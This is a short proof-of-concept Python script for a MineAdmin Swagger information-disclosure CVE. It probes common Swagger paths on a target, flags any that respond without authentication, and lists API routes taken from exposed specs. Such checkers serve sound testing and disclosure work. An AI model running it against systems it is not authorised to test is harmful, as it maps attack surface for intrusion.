CVE-2026-1194: MineAdmin Swagger接口信息泄露漏洞

# CVE-2026-1194 PoC - MineAdmin Swagger Information Disclosure # Target: MineAdmin 1.x/2.x # Component: Swagger API Documentation import requests import sys import json def check_swagger_exposure(target_url): """Check if Swagger documentation is exposed without authentication""" swagger_endpoints = [ "/api/swagger", "/swagger-ui.html", "/api/doc", "/swagger/index.html", "/api/swagger.json", "/swagger/doc.json" ] print(f"[*] Testing target: {target_url}") print("[*] Checking for exposed Swagger endpoints...\n") exposed_endpoints = [] for endpoint in swagger_endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'html' in content_type or 'json' in content_type or len(response.text) > 100: print(f"[+] Found exposed endpoint: {url}") print(f" Status: {response.status_code}") print(f" Content-Length: {len(response.text)} bytes") exposed_endpoints.append(url) # Try to extract API information if endpoint.endswith('.json'): try: api_info = response.json() if 'paths' in api_info: print(f" [!] API paths discovered: {len(api_info['paths'])}") for path in list(api_info['paths'].keys())[:5]: print(f" - {path}") except: pass print() except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") if exposed_endpoints: print(f"[!] VULNERABLE: {len(exposed_endpoints)} Swagger endpoint(s) exposed") print("[!] This allows attackers to gather sensitive API information") return True else: print("[-] No exposed Swagger endpoints found") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-server.com" check_swagger_exposure(target)